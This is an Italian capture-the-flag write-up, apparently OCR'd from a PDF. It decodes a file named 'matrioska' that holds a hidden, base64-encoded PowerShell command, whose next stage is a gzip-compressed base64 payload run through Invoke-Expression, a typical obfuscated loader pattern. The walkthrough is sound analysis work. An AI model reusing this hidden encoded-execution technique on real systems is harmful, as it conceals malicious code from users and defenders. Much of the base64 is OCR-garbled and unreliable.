Risolviamo questo esercizio utilizzando una qualunque macchina Linux.
Andando a vedere il contenuto del file con cat:

cat matrioska

otteniamo

powershell -nop -w hidden -encodedcommand

JGZsYWcO9ImhpIGZyb20gdGhlcmUiOyRzPUS1dyl1PYmplY3QgSUSUTWVLtb3J5U3RYZWELKC
xbQ29udmVydF060kZyb21CYXNINJRTAHIpbmcoIkg0c01BQUFBQUFBQUErMWI2Vy 9peUIM
L1BQa3IvQOVTbOpERTRFQmdualphRGANMjJJQ3ZBTmt vOHRHQXNiROSENORaM2YvOVZUZk
haR115NzgwN3BOblZFcW5rUHFycitGViF1VkhiTWOwdjVUaTB6Vmp3TFVUZGFpaUliTitqg
eWxkWDEzT1hYMUNmSO0tZQzdiY1B4ZEQrS1hjMVR6dA3p4aXk00GIwQThXclErdWEFyYmxraG
1pTHFONNNQSXozVTExXVCt1cXVIcjJ2Z1NseFVWRWAITX1JckNWSGh3NGVyRDJRbzhTSj1lg
bDQ5UGIhMzZIV040cVZ2UmEFBby85d01ncmEvMW0zdjV1UEhWaEtHeUl1zUC91ic3VpaHRSak
ShR2E2TWI9YNkIrcDU2VOtFUzNRMkIOGekpgNmpicCt2ZXU2dnFHN1I3YXNWWnRMYO0s3aFdyY
aHUOSNM20XVCTORsdzd6dWQrLIRWWGVMNHR2ZH14bTBSM28zeE96cUlZcmU4czE4AMFZxRD
hLVOtHUOJTaWZFMnd60OUNOLOhOODkyUjVUdmxPSj1TSXhYampZbmlzY1BWcOVPdmp4Z1N1
eDENT2FmQTZhSThDbWNJQOXdAWNIN1c2I3bmx4ZnFsNOOxVXVMR]1locmRIV]ZNUWorUvviaT
FUU1RkOVhUUGNwWROU1ckFzRJBFb3ZVV3VBRWEFSO0UL1Q2p6clpBdXUydm9QeTExN211aldR
Ky95amNsL31JdHFkd1AzUlIJmbTNpNEJYyRk11RJRGRWOmMZ1FPZ2VUT1FSeTQ4NDMxYjVLck
FIL2ZKRmpoNm8rcmQxTFZRaTVhNKRGNmMpRSGZON2w20WVIREOya2k4Q2MvOG1PYNJQdEUwW
VVZLQUNQMDJBOHPpIRTRSVEZEaDVYTJhEbXBQSzZQaWR3V1ZUcXVPYXc3aE9kanhpWHIXZk
50NnVmcFF1RHBtRHgILO5STGJOVKNINTcrL0c5¢cG9ibnVvblhuNjJgWlBDW]) kvTDJabzdp
SON4O0TJKVFFRNzg3bmpCTExhUjNSeUdORG51NWV4YXpzK3IyMGVgR3VZRVB]SXJJS1VLSH
hwekNHRytSem5DV2dOK0IzNmtLY1hjOWhtNk1SOTNGclpTVHZINDF4dXVYb1IVGYWXSQXZ2
YOxGSXkwbDFrRmFtROY5bkhxVVITKzZZTWisyeXVrTGl4YmVwUmZCTDNVbmdIMHEFQcWx1L0
Jgqa2xNaUM3QWONZOINbTNkeGFnVXFaNXRvV11tMjRIVENibDNNV25wcmd0OYkRpUnRJUL113
Z3JHUVk1d3pvV1g4T204S2R6SO0t1WFhnb2pWd2t5¢c1lVnU29MTmVING8waTY2UXRrNWY 2R
JhZD1jdGdVROtzVENHKO10Z1NRWFQ4dVVWwb2R4bERYY3NWAkVIOSONKyIMRXZPRm1 hMFF T
UU9%aSnh2eHVabkZ1THNRVGhPL2FENmMRzUIRJaFRHZzFnbj1lkVk9QVVBWQOkptVXNuek840V
03TEdpc3VFenlnRINQAVZsd2x3bjFDMCtQelI2bEtublJ0TGRNck53dVRSaERaeHMxRHk?2
TGp2dGO9RR1IZWT1dWWGx0odzIZ2M1ZMVWEtxRHR4 S2EWRUNYTmOkc3kwS31jN2hwMFJaRGIXVG
13SDRMbVdAiWl1SdGlFR1piQndOMXplbHd4czY2VFRQUUOzZM2RYNOxXHL21ZeFNtSCtVTmtw
bHVzZnpjVGZnM1pVQTgxWXFPODBCV2YrdTdlSitaZ3NySStNOHItYXd6bVQzZWEOROSPW]
h6cV1lyWEdiaXNjblpuejJIbijN2Y2JoekhoR0O9mazRVVkwlOTF1RzkwdGZHVFAVZFpP3SG02
NHZiQ2dRNH1DSkglL2RIM1JpMTREbjRvSmd4UVNtdzJzSDJIgL3pDZWI3bXY3LzRINzYOMG
tkeDRndHVTelo3eE9maHJ2c01QUkF1aXFsb3RqZVp3Z2S9rWlQ4SWZ2aE12UXUzVGlreWdD
aGpybEl3emlHZndgbTAObng5MkpVbHk2c0s0SmEF3Nng5aWY0alzzKlhwzEASUDAYK04yb2
I4Wk1licS9yN1lpIL2VweTNhOEc2L0tOdEdiSTNNaVp4VEFhDazdVMnZoSGZMQjdzL2dhZXZo
WFhwcFpkSHA1YkpmQ3JLNJ Y2VE1yVnRzMXRncVJI§Vz1VM3dleml ZWGkvZmI 6NWt xek5Dbz
VBAFIOSHVTdAy9vV1RteC92czhkNWt4R3hSeWJZTz1FbGR6K290b0h1NGZzZ316NEU2eDFV
cnlaN3BKNV1ImcDdJdczhoenR1ckxNdz1OWnlWbD15ZTFockwOcmoyQS9DR1 ZgTmVnanNnY3
JmZU91cWUSTIBHZHOXZXI2dmc2NmVrUHASY31ZOXJIJRTMUzZWXZONGLtEVXJQb210UXdXUjdD
OGJIPZXd2d0F6Mi9XeGhdMG5ubF1QT1kxNW1iNHZHYO0dwemlvdGJIJrOXJJbHZObkUOULtCTE
VtenY1INH1ZQXQrallzYTd]jcFBZdFN6VEFRNOFVWeEhobjhYaUhuU3NpSTd1NHdge jRmMHNN
RTh3enBEeHIzREUrSml1BK1FEaXhGU2JpTW40Q1djdTFsaz1l0RUN2d1JHc1Z0MTV3bTY1bS
svZOwS5VHVLMTFqUW5naDF2UlhzWVk1ZytRRNnpLV1o3VEFYUmMEF1NUVWaOhPRXd4ZGpnR204




bzZaVWFtdUJTd1lglclolTWtFWkdsMmoSTVNhVjBpOGlFK2dCZUQ4Ykt4L3dMaVpLaURWZW
t5NjRXZ0crSORzYz1pbThUUOFYMTAGAU93UDhiQThEAVBCOGNS5dDV1ZV1aaldFYXZhz371
OHhySEROZEV6SVE4R0JHLO1aYONvbklrVGZvanRISFYzZWExXenRSTHZUYWFQOFJINbkk3Mk
PhSGdPVk1nbHVROXhKTEgzR3FJNDEOKzZZSCtVQOxhTm4 30WOML1FuSjNIUWdAIMm1gqUOhu
CWc2Y2Y0WnQzSGQyMEsvUTBCOXR]ZJh10TJINExXS5d2TI4RDRYeCIOEZTNrVk4 2RnNOK2EyOF
VUZmxPN1ZEbT1SR2NsNng4UHVMTVQrzk4walU5stdUx6aUtqUkOwUGIXVVBsS09kOEhOCcVYr
aExOVDhZTDg0bXNTU044dnJ2SDAiY1c2WTFkQyt3UmNmMVplUWQrNmNCdnpaNDBOemRXeD
FoZW1PMFh2NVFuSFdS5b11YLO1tYWFOQmtSZUl 6M3NHUMI3bTVKYULlzb09PUXYxT20vdOtu
OHBUenY2cFhESDg5S2I4NU9DK2QvZ25UYStkeDU2UXpMV1gxSnhQQUs4zZmtIaUllQytoZn
VQdUgrUDdSKOpSRDZPeDE3RJhSaGerYjN4AN1Z3MWRMbH1 N1 IwbWwyZDVrVOpybmUlaXvt
WIZtd2tPZnhZOHBWZHh1RVZtVTRsQ2VUVVA6T])Y3QVNUbVpwSO0podUlFbHZ2R215SGwlem
10S3ZVVNROT3B3czRkV2VIMWxVMGk5UKN2cHdxa2xOYWErcEOxTXBnRjdPeloyN2MxeGhy
b0txemxnUThgN2FWU203elNYRm1gRNdDR1k1Snp20G51V2FwSTR6W) JWanR3dnI2Z2URsal
PA4UDRiUVBUU2I0MlpkTkRqdUE4eW1ZN311iV0O9ONcX1Gd3A3T3hDTOg5NIMrcWxsUFk2ZHVL
elNjUTdzei9INTQO0Q2VTSkgraG93SStwOUlUKOp2WjRNTGIDUEoZza2xOcHFYUXNRQ1 84RX
YyWIEObG420XFZSFpkNkNsMzdFK3pWQy8xVmlLa2xFWDZPcTIJHWDNYW] ZteDZyQU1HWmdH
VUd2Q1EwcF1HNTZ1QUROaG1PZWpRLzU4YTES5a095UzdoRTIJtaFJtZ01mdk5QWk9iY1Y2VT
FYTk1KRW5CalpBTWFpeDAWAMEwdlpZOmNrd2FSWD1tV212NWhzV29NU200enN4MVoxeENW
alkxZUNjeE9jUTdxZGglNFdpWGhOajlzMk81dFczWWYyUGJkdCtYeDFZZGVxZ2RmY 1dRKO
k1YXRVTWpCMIRGeEQraUxOTmINNDY2WTNNbDNxYWxEek5LZ0ZzbWNOak5LNHcO0djdNcnRk
N3N4ZWMyYO0triWVg5Tkp4MEpqdjEWWG14ZTIwTFFydkZTSDFGAFFTADAYZ2JFN1BkR2ROeX
RS5RX1LAFJacUJXVGRUTXNzdW1lpclVMUL1KZWNS5Tzc4dGtISGS5MUVFIYWexbk5JU0I5Mkpw
aTlCRitgaESkQWxWeGF3TDBIRESJWjRsdzRsTCsxcWFqQ2FzeFoldHB1UkS5tVzEFjYWM3cz
FYUFVsUzNTV3V1dEZEW]BoT2FRQ1VvbDJI5VDVoVOZDWHkS5VZJIISELtoOHF1ibEI3S2tXYURM
OVZaVWJ1Yk1jVHM3NEpYWkIGMNE4bUh2Y112a1ZMY20xWmJrc3JzeDVxZkgrUOVOOHROUN
J5U2p4bFJ2c]jZvVEJIsNUdxMHcrKOhXViEOMNRYMIphTmpOREIHMTJIJHUM41NO830m4rclNG
dVpDYnBtWU1COGAERGZzaGEvQSsveDh52U50Q01wODNPMnBkeHpCLzdDNGRMV21EZjZ2LS2
JaaTByN1hGY2hsQXpKZGxKeHpMTG1XcEhhcWxzczZXTVN3MkZmVml 0eGVIVE1xXxTHhITkOy
Ni9iUDNRY1h1dENGTG5TaEMxM2 9RaGU2ME1VAWRLRUxYZWhDRjdyUUQxTzVMb3haZmpRdk
JaSGw4bW0zSE13UjdjNFEOMVINZHIrMmxwMOdUN2Z4cjB3bmzZKa2dSRTVkV1RyTmhpNkpy
UTdqU2pO0bXExbWxZUHpUYMZ5TGtxck44UC91Uml 5VEZTVTIM3djVzZXk1MGISUGgVMHVRLz
IwLONrcVNECWZzZ1VQWINTTO0Z6UnhaVExrNnU0aGtOdTBOMkVDV]YrbWd6OGExXMOYreWUx
YWhKVFBOVkKZgNTUS5cCO9vYJhKN1Q10XVzS2Z210C85a01lwZnAvaVN3eihvZU42Nk1YWCtRUH
VINVNkZWpNZHZ1Z3I0b3NSNTV2azZmVGxkYKkRUM2 I OMEVWREVWLOxXxFM21kbnFiejd4L3Q1
dEVVRVBVN1h1dm560DJFWG43L1U3ZnRnNTNOclkrVFpla2MrL2YSWEIRYUAIWEthTUwrcW
N2bkp2dUs1ldjRwc20zN2550FV2KytYQWI1YVZJUGF2UVPNcnZz0Z3JVbWJGUUtCeDhNcEwl
bk56RO9ICcDRICFJISWXZ6NGNRYNVGZCLtBTOVEZULlsNFALVHBsYUpyR3p3Z2TZjUFhgqcO0xUOE
INdWZ4U1lh4Y1pRM2xyelY1QkpOaFNQON111S30wZjh4QUY4by9mZ1FZdkRJaFpZemRNU2c5
LOVXWEOWK3Vicmkl1dENiOGNgZUkrbldiYWdheWIwbzFzUDRkdAVViMUc4VXVheVE20V1MRk
1kT3FHAWQrb0820mZjYUVWT211iaHZoSXNFMOY2akRmY1lhmcVoxdUh4YitUa25JU1BZVzNm
SytBVml1LMO1lgYy95RkNNREONL]I JPb3RrWnVERGNBQUESPSTIpKTtJRVggKES1dylPYmplY3
QgSUBUU3RYZWEFtUmVhZGVYKES51dyl1PYmplY3QgSU8uQ29tcHI1c3Npb24uR3ppcFNOcmVh
bSgkcyxbSU8uUQ29tcHI1c3Npb24uQ29tcHI1c3Npb25Nb2R1IXTo6RGVIb21wemVzcykpKS
5SZWFkVGOFbmQoKTs=
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L'output del comando e lo switch powershell encodedcommand lascia intuire che la stringa successiva
sia base64 encoded.

L’help di powershell riporta infatti:

-EncodedCommand
Accepts a base-64-encoded string version of a command. Use this parameter
to submit commands to Windows PowerShell that require complex quotation

marks or curly braces.

Proviamo a decodificarla mandando il payload, attraverso il comando echo, in pipe al comando
base64 -d

echo

JGZsYWcO9ImhpIGZyb20gdGhlcmUiOyRzPUS1dyl1PYmplY3QgSUBUTWVtb3J5U3RYyZWELKC
xbQ29udmVydF060kZyb21CYXNINJRTAHIpbmcoIkg0c01BQUFBQUFBQUErMWI2Vy 9peUJIM
L1BQa3IvQOVTbOpERTREFQmdualphRGANM]JJIQ3ZBTmt vOHRHQXNiROSENORaM2YvOVZUZk
haR115NzgwN3BOblZFcW5rUHFycitGViF1VkhjTWOwdjVUaTB6Vmp3TFVUZGFpaUliTitg
eWxkWDEzT1hYMUNmS0tZQzdiY1B4ZEQrS1hjMVR6dA3p4aXk00GIwQThXclErdWEFyYmxraG
1pTHFONNNQSXozVTExXVCt1cXVIcjJ2Z1NseFVWRWAITX1JckNWSGh3NGVyRDJRbzhTSj1lg
bDQ5UGIhMzZIV040cVZ2UmEFBby85d01ncmEvMW0zdjV1UEhWaEtHeUl1zUC91ic3VpaHRSak
S5hR2E2TWIOYNkIrcDU2VOtFUzNRMkIGekpgNmpicCt2Z2XU2dnFHN1I3YXNwWNRMYO0s3aFdyY
aHUOSnNM20XVCTORsdzd6dWQrL1IRWWGVMNHR2ZH14bTBSM28zeE96cUlZcmU4czE4AMFZxRD
hILVOtHUOJTaWZFMnd6OUNOLOhOODkyUjVUdmxPS]j1TSXhYampZbmlzY1BWcOVPdmp4Z1N1
eDENT2FmQTZhSThDbWNJQOXdAWNIN1c2I3bmx4ZnFsNOOxVXVMR]1locmRIV]ZNUWorUVViaT
FUU1RkOVhUUGNwWROU1ckFzRJBFb3ZVV3VBRWEEFSOUL1Q2p6clpBdXUydm9QeTExN211laldR
Ky95amNsL31JdHFkd1AzUlIJmbTNpNEJYRk11RJRQRWOmMZ1FPZ2VUT1FSeTQ4NDMxYjVLck
FIL2ZKRmpoNm8rcmQOxTFZRaTVhNkRGNmpRSGZON2w20WVIREOya2k4Q2MvOGl1PYnJQdEUwW
VVZLQUNQMDJBOHPpIRTRSVEZEaDVYTJhEbXBQSzZQaWR3V1ZUcXVPYXc3akE9kanhpWHIXZk
50NnVmcFF1RHBtRHgILO5STGJOVkNINTcrL0c5¢cG9ibnVvblhuNjJgW1BDW) kvTDJabzdp
SON4O0TJIKVEFRNzg3bmpCTExhUjNSeUdORGS51NWV4YXpzK3IyMGVgR3VZRVB]SXJJS1VLSH
hwekNHRytSem5DV2dOK0IzNmtLY1hjOWhtNk1SOTNGclpTVHZINDF4dXVYb1IVGYWXSQXZ2
YOxGSXkwbDEFrRmFtROY5bkhxVVITKzZZTWisyeXVrTGl4YmVwUmZCTDNVbmdIMHEQcWx1L0
Jga2xNaUM3QWONZOJINbTNkeGFnVXFaNXRvV11tMjRIVENibDNNV25wemdOYkRpUnRJUL113
Z3JHUVk1d3pvV1g4T204S2R6SO0t1IWFhnb2pWd2t5¢c1lVnU29MTmVING8waTY2UXRrNWY 2R
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JhZD1jdGdVROtzVFNHKO10Z1NRWFQ4dVVwb2R4bERYY3NWAkV1IOSONKyIMRXZPRm1 hMFF I
UU%aSnh2eHVabkZ1THNRVGhPL2FENmMRzU1RJaFRHZzFnbj1kVk9QVVBWQkptVXNuek840V
03TEdpc3VFenlnRINQAVZsd2x3bjFDMCtQelI2bEtublJO0TGRNck53dVRSaERaeHMxRHk?2
TGP2dGI9RRIZWT1dWWGxodzI2M1 ZMVIWt xRHRA4S2EWRUNYTm9kc3kwS31JN2hwMFJaRGI9xVG
13SDRMbVAiWl1SdGlFR1piQndOMXplbHd4czY2VFRQUUOzZM2RYNOxXHL21ZeFNtSCtVTmtw
bHVzZnpjVGZnM1pVQTgxWXFPODBCV2YrdTdlSitaZ3NySStNOHJtYXd6bVQzZWEOROSPW]
h6cV1lyWEdiaXNjblpuejJIbijN2Y2JoekhoR0O9mazRVVkwlOTF1RzkwdGZHVFAVZFp3SG02
NHZiQ2dRNH1DSkglL2RIM1JpMTREbjRvSmd4UVNtdzJzSDJIgL3pDZWJI3bXY3LzRINZzYOMG
tkeDRNdHVTelo3eE9maHJ2c01QUkF1aXFsb3RgZVp3ZS9rW1Q4SWZ22aE12UXUzVGlreW9D
aGpybEl13emlHZndgbTAObng5MkpVbHk2c0s0SmF3NNng5aWY0alzzK1lhwzEASUDAYKO04yb2
I4Wk1licS9yN1pIL2VweTNhOEc2L0t0OdEdiSTNNaVp4VFhDazdVMnZoSGZMQjdzL2dhZXZ0
WFhwcFpkSHA1YkpmQ3JLNjY2VE]1yVnRzMXRncVJjVz1VM3dleml ZWGkvZmI6NWtxek5Dbz
VBAFIOSHVTdy9vV1RteC92czhkNWt4R3hSeWJZTz1FbGROK290Q0b0hINGZzZ316NEU2eDEFV
cnlaN3BKNV1ImcDdJdczhoenR1ckxNdz1OWnlWbD15ZTFockwOcmoyQS9DR1 ZgTmVnanNnY3
JmZUS1cWUSTIBHZHOXZXI2dmc2NmVrUHASY31 ZOXJIJRTMUzZWXZONGLEVXJQb210UXdXUjdD
OGJIPZXd2d0F6Mi9XeGh4MG5ubF1QT1kxNW1iNHZHYO0dwemlvdGIrOXJJbHZObkUOU1itCTE
VtenYINH1ZQXQrallzYTdjcFBZAdFN6VFRNOFVWeEhobjhYaUhuU3NpSTd1NHdge jRmMHNN
RTh3enBEeHIzREUrSm1BK1FEaXhGU2JpTW40Q1djdTFsaz1l0RUN2d1JHc1Z0MTV3bTY1bS
svZOwS5VHVLMTFqUW5naDF2UlhzWVk1ZytRRNpLV1o3VEFYUMF1NUVWaOhPRXd4ZGpnR204
bzZaVWFtdUJTd1lglclolTWtFWkdsMmoS5STVNhVJBpOGlFK2dCZUQ4Ykt4L3dMaVpLaURWZW
t5NjRXZ0crSORzYz1pbThUUOFYMTAGAUS3UDhiQThEAVBCbGNS5dDV1ZV]1aaldFYXZhz3Z1
OHhySEROZEV6SVE4R0JHLO1aYONvbklrVGZvanRISFYzZWExXenRSTHZUYWFQOFJINbkk3Mk
PhSGAPVk1InbHVROXhKTEgzZR3FJNDEOKzZZSCtVQOxhTm4 30WSML1FuSjNIUWdAIMmlgqUOhu
CWc2Y2Y0WnQzSGQyMEsvUTBCOXR]ZJh10TJINExXS5d2TI4RDRYeCOEZTNrVk4 2RnNOK2EyOF
VUZmxPN1ZEbT1SR2NsNng4UHVMTVQrZ2k4waU5tdUx6alUtqUkOwUGIXVVBsS09kOEhOCVYr
aExOVDhZTDgO0bXNTU044dnJ2SDAiY1c2WTFkQyt3UmNmMVplUWQrNmNCdnpaNDBOemRXeD
FOZW1PMEFh2NVEFuSFdS5b11YLO1tYWFOQmtSZU16M3NHUMI3bTVKYULlzb09PUXYXT20vd0Otu
OHBUenY2cFhESDg5S2I4NU9DK2QvZ25UYStkeDU2UXpMV1gxSnhQQUs4ZmtIaUllQytoZn
VQdUgrUDdSKOpSRDZPeDE3RIhSaGerYjN4N1Z3MARMbHL N1 IwbWwyZDVrV0pybmUlaXvt
WIZtd2tPZnhZOHBWZHh1RVZtVTRsQ2VUVVA6T]Y3QVNUbVpwSO0podUlFbHZ2R215SGwlem
10S3ZVVnROT3B3czRkV2VIMWxVMGk5UkN2cHdxa2xO0YWErcEOXTXBnRjdPeloyN2MxeGhy
b0txemxnUThgN2FWU203e1NYRm1gRndDR1k1Snp20G51V2FwSTR6WjJWanR3dnI2ZURsal
P4UDRiUVBUU2I0OM1pkTkRgdUE4eW1ZN31iV0O9ONcX1Gd3A3T3hDTOg5N1IMrcWxsUFk2ZHVL
elNjUTdzei9INTQO0Q2VTSkgraG93SStwOUlUKOp2WjRNTGIDUE0za2xOcHFYUXNRQ184RX
YyWIE0bG420XFZSFpkNkNsMzdFK3pWQy8xVmlLa2xFWDZPcTJIJHWDNYWT ZteDZyQU1HWmdAH
VUd2Q1EwcF1HNTZiQUROaG1PZWpRLzU4YTES5a095UzdoRTJtaFJtZ201mdk5QWk9iY1Y2VT
FYTk1KRW5CalpBTWFpeDAWAMEwdlpZQmNrd2EFSWD1tV212NWhzV29NU200enN4MVoxeENW
alkxZUNjeE9jUTdxZGglNFdpWGhOajlzMk81dFczWWYyUGJkdCtYeDFZZGVxZ2RmY 1dRKO
k1YXRvTWpCMIRGeEQraUxOTmINNDY2WTNNbDNxYWxEek5LZ0ZzbWNOak5LNHcO0djdNcnRk
N3N4ZWMyYO0trWVg5Tkp4MEPqdiEWWG14ZTJwTFFydkZTSDFGAFFTADAYZ2JFN1IBKR2ROeX
R5RX1LAFJacUJXVGRUTXNzdW1lpclVMUL1KZWNS5Tzc4dGt ISGOMUVEIYWexbk5JUOISMkpw
aT1CRitgaE9%kQWxWeGF3TDBIRES5JWjRsdzRsTCsxcWFgqQ2FzeFoldHB1UkS5tVZEjYWM3cz
FYUFVsUzNTV3V1dEZEW]BoT2FRQ1VvbDJI5VDVoOVOZDWHkS5VZJISEtoOHFibEI3S2tXYURM
OVZaVWJ1lYk1ljVHM3NEpYWkOGMnE4bUh2Y1I12al1ZMY20xWmJrc3JzeDVxZkgrUOVOOHROUN
J5U2p4bFJ2cjZvVEJIsNUdxMHcrKOhXVjEOMnNnRYMIphTmpOREIHMTJHUM41NO830m4rclNG
dVpDYnBtWU1COGAERGZzaGFvQSsveDh52U50Q01wODNPMnBkeHpCLzdDNGRMV21EZjZLS2
JaaTByN1hGY2hsQXpKZGxKeHpMTGl1XcEhhcWxzczZXTVN3MkZmVml 0eGVIVEF1xTHhITkOy
Ni9iUDNRY1h1dENGTG5TaEMxM2 9RaGU2ME1VAWRLRUxYZWhDRjdyUUQxTzVMb3haZmpRdk

TINEXTA GROUP



JaSGw4bW0zSE13UjdjNFEOMVINZHIrMmxwMOdUN2Z4cjB3bmZKa2dSRTVkV1RyTmhpNkpy
UTdqU2pO0bXExbWxZUHpUYMZ5TGtxck44UC91Uml 5VEZTVTIM3djVzZXk1MGISUGgVMHVRLzZ
IwLONrcVNECWZzZ1VQWINTTO0Z6UnhaVExrNnU0aGtOdTBOMkVDV]YrbWd6OGExMOY reWUx | baset64d -d

Il risultato e il seguente:

$flag="hi from there";S$s=New-Object

IO.MemoryStream(, [Convert]::FromBase64String ("H4sIAAAAAAAAA+1DO6W/1yBL/
PPkr/CESoJDE4EBgnkZabDgM22ICvANko8tGAsSbGND7DZ3f/OVTfHZGYy7807pNnVEgnkPg
rr+FV1IuVHcMopv5Ti0zViwLUTdaiiMbN+jyldX13NXX1CfKKYC7bbPxdD+JXclTzwzxiy4
8bpA8WsQ+uarblkhiiLgt6sPIz3Ul1T+equHr2vES1xUpEgHMyIrCVHhwderD2Qo8SJ971
49Pba36HWNAgVvRaAo/9wIgra/1m3v5ePHVhKGyIsP/bsuihtRhNaGa6MoX6B+p56WKES3
Q20FzJj6jbptveubvgG7R7aspZtLcK7ThWXhudJs69uBOD1w7 zud+/TVXeL4tvdyxmOR303
x0zqIYre8s180VgDS8KWKGSBSifE2wz9CN/Ht892R5Tv10J9SIxX]JYniscPVsEOvjxfSex
1MOafA6aI8CmccAwV6oSesb/nlxfgl7MI1UuLFOhrdcVoMQj+QUbi1TRTAIXTPCcpGESrAsSFEO
EovUWUAEaEKESCjzrZAuu2voPyll7iukWQ+/yjcl/yItgdwP3RRfm314BrFIeF4jEnfgQoO
geTNQRy48431b5KrAH/fJFjh60+rdlLVQi5a6DF6JQHEN7169eHDM2ki8Cc/8i0brPLtEQU
VKACPO2A8zHE41TFDh5XN8DmpPK6P1dwiWVTquOaw7hOdjxiXrWENt 6ufpQuDpmDx5/NRLDb
tVCI57+/G9pobnuonXn62jzPCZ9/L22071KCx92JTQQ787njBLLaR3RyGNDnb5exazs+r2
0ejGuYEPcIrIKUKHxpzCGG+RznCWgN+B36kKbXcO9hm6MRI3FrZSTvu4d lxuuXoUFalRAvve
LFIy011kFamGFI9nHqUYS+6SZ+2yukLixbepRfBL3UngHOgPglu/Bjk1MiC7A0MgBMm3dxa
gUgZ5toWYm24uTCbl3MWnprgtbDiRtISYwgrGQY5S5wzoVX80]j8KdzKKuXXgojVwkyrUgSoL
Needo00166Qtk5f6F2ad9ctgUGKsTSG+MhgSQOXT8uUpodx1DXcsVvEu9/M+/LEVOFma0QHQ
0zJIxvxuZnFeLsQThO/abD6dsSTIhTGglgn9dVOPUPVBImMUsnz089Z7LGisuEzygFSPuvlwl
wnlCO0+PzR61KNNRtLAMrNwuTRhDZxs1Dy6LIvtoQFVVNWVX1hw2 62VLUkgDtxKa0ECXNod
syO0Kyc7hpORZDogTiwHALmWbZYREMEFZbBwN1zulwxs66TTPQJI33dX7LG/mYxSmH+UNkpl
usfzcTfg3ZUA81YqO80BWE+u7eJ+ZgsrI+M8rmawzmT3eadGNOZ8zgqYrXGbiscoZnz2Hn3
vcbhzHhGOfk4UVL591uG90tfGTP/dZwHm64vbCgQ4yCIH5/de2R114Dnd40JgxQSmw2 sH2 ]
/zCebwmv7/417640kdx4gtuSzz7x0fhrvsMPRAuiglotjezZwe/kZT8IfvhMvQu3TmkyoCh
Jr1iMwzmGfwim04nx92JUly6sK4Jawox91f4kVs+XpdGRP7X+N20b8ZMbg/r7ZH/epy3a8G
6/KNtGbI3MiZxTXCk7U2vhHELB7s/gaevhXXppZdHwubJfCrK666TMrVtsltggRcWoU3wu
zmYX1/fbz5kgzNCo5AtRAHUSW/oWTmx/vs8d5kxGxRybYO9E1dz+oPoHed fsgyz4E6x1Ur
vZ7pJ5Yfp7Is8hzterlMwINZyV19yelhrL4rj2A/CFVijNegjsgcrfeOeqe9NOGdzlerbvyg
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66ekPwRcyY9rQNe3YvP4kDUrPoiNQWWR7C8bOewvwAz?2 /Wxhx0nnlYPNY15ib4vGeGprio
tbk9rI1vNnE4R+BLEMzv54yYAt+jYsa7cpPYtSzTTM8UVxHhn8XiHnSsiI7udwjz4£0sgE
8wzpDxr3DE+JmA+QDIxFSbiMn4CWcullk9tECVWRGsVEt15wm65m+/gL9TuK1l1jOnghlvRX
sYY5g+QFzKVZ7TAXRaebSEVKHOEwxdjgGm8o6Z2UamuBSwX5sZ25MkEZG1259MSav0i8iE+gB
eD8bKx/wLiZKiDpeky64WgG+KDsc9im8TSAX17FuOwP8bA8DuPBlcyt5ueYZjWEavagvusg
xrHDtdEzIQ8GBG/IZcConIkTfojtIHV3XLWztRLvTaaP8RMnI72JaHgOVMgluQ9xJLH3Gg
c414+6YH+UCLaNn79nL/QnJ3HQgH21jSHNngg6cf4Zt3Hd20K/Q0B9tcf8e92udLywb8D4X
x/De3kVN6FsN+a28UTf107VDmMORGc16x8PufMT+fNOiNmuLziKjRMOPbWUP1KOd8HtgV+h
LNT8YL84msSSN8vrvH7bbW6Y1dC+wRcf1ZuQd+6cBvzZ40tzdWx1heiO0Xv5QnHWyoYX/ I
maatBkReMz3sGRb7m5Jalso00Qv1Oom/wKn8pTzv6pXDH89Kb850C+d/gnTa+dx56QzLWX1
JxPAK8fkHiIeC+hfuPuH+P7R+JRD60x17F8Rhg+b3x6VwldLlyc6R0m12d5kWIrne5iumZ
emwkOfxY8ppdxeEVMU41CeTUWzZNG6 7ASTMZPpKJIhuIE1vvGmyH15zmhKvUVtNOpws4dieull
U01i9RCvpwgklNaa+pM1lMpgF70zZ27clxhroKgz1lgQ837avSm7zSXFmjFwCGY5Jzv8neWap
I14z722Vitwvr6eDljZxP4bQPnSb43ZdNDjuA8ymY7ybWOMagyFwp70xCOH97S+gllPY6duKz
ScQ7sz/H544CeSTH+howI+p9IT+IvZ4gLbCPJI3k1NpgXQsQB/8Ev22141n69gYHZd6C137
E+2zVC/1ViKk1lEX60g2GX3XZ6mx6rAMGZgGUGVBQOpYGS56bADNhmOeQ/58a19k0yS7hE2m
hRmgIfvNPZObcV6Ul1XNIJENBjZAMaix00vapvZYBckwaRX9mWmv5hsWoMSm4dzsx1Z1xCV]
Y1eCcx0cQ7qdh54WiXhNj9s205tW3Yf2Pbdt+Xx1YdeqgdfcWQ+I5atoMjB3TFxD+1iLNN1
M466Y3M13galDzNKgFsmcNjNK4wdv/Mrtd7sxec2cKkYXINIx0Jjv10Xixe2pLQrvFSHIF
tOSt02gbE7PdGANytyEYyKtRZgBWTdnMssumirULRYJecyO78tkIHNLOQHaglnNISB92Jpi
9BF+jhOdAlVxawL0eDNcZ41lwdllL+1lgajCasxZ5tpuRNmWlcac7s1XPUl1S3SWuutFDZ0hOa
QBUOL12yTS5hWFCXyOW2HHKh8gb1B7KkWaDLO9VZUbebIcTs74JXZ0F2g8mHvbR6jVLcml Zbk
srsx5gfH+SEtL8tNRrySjx1Rvr60TR1I5GgOw++HWV142tX32aNjtDIGI12GRn5707Bn+rSzu
ZCbpmYIB8gDDfshaoA+/x8yeNhCMp8302pdxzB/7C4dLWiDf6KKbZ10r7XFchlAzJd1lJxz
LLiWpHaglss6WMSw2FfVitxeHTYgQLxHNM26/bP3QcXutCFLNnShC130Qhe60IUudKELXehC
F7rQD105LoxZfjOvBZH18mm3HIWR7c4Q41YMdrk21p3GT7fxrOwnfJkgRESAVTrNhi6JrQ
73SINmggmlYPzTbfyLkqrN8P/eRmyTFSU37v5sey500RPh/0uQ/20/CkgSDgfsfUPZSSOF
zZRxZTLk6udhkNuOP2ECV6+mgz8ag3F+yelahdTPtVEFj559p/0b8J7T59%9usKfb8/9kMpfp/
1Swz80eN66MXX+QPuubSdejMdvbgr4osR55vk6fT1dbDn3b40UpDEV/LE3mdngbz7x/t5t
EUEPo6Xuvnz82EXn7/U7ftg53tsY+TZekc+/f9IXIQaGHXKaML+gcvnIvuK5v4psm37ny8U
v++XAb5aVIPavQZMrvtgrUmbFQOKBx8MpL5nNzGOHp4upRyYvz4cQbuFd+AOEDeI14WKTpl
aJrGzwe6cPXjsLT8IMufxRXxbZzQ31rzV5BINhSP6YeKt0f8xAF80/ffQYVDIhZYzdMSg9/
